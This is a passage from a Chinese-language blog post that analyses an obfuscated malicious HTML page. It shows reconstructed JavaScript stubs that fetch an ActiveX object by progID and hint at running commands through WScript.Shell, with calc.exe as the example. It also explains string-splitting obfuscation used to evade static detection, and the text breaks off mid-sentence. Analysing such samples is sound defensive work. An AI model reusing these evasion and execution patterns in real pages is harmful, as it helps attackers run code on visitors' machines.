                }
            } catch (e) {}
        }
        i++;
    }
}

// 辅助函数(原名称 QhUF)
function QhUF(obj, progID) {
    // 实际实现未知,推测用于获取指定 progID 的接口
    return obj[progID];
}

// 辅助函数(原名称 NbLEeFzmiSvafUBuC)
function NbLEeFzmiSvafUBuC(obj) {
    // 实际实现未知,推测用于执行后续 payload
    // 可能调用 obj 的方法执行系统命令
    // 例如:obj.Run("calc.exe");
}

// 页面加载时执行主函数
// (body 的 onload 已调用)
</script>
MjGZWLXEDvFel
</body>
</html>

原始混淆:攻击者使用了大量无意义的空格、换行和字符串拼接(如 "W"+"Sc"+"ri"+"pt"+"."+"S"+"he"+"ll"),目的是绕过静态检测。格式化后,拼接结果就是 "WScript.Shell"。

漏洞判断:代码动态创建

posted @ 2026-05-18 14:11  Maxn_Rain  阅读(76)  评论(0)    收藏  举报